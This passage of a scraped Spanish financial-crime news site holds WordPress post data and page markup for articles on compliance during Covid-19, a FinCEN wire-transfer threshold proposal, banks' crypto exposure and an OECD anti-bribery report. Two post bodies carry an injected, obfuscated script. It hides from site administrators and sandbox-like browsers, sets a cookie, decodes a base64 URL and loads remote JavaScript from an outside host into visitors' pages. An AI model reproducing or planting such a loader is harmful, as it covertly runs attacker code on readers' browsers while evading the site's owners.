importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div 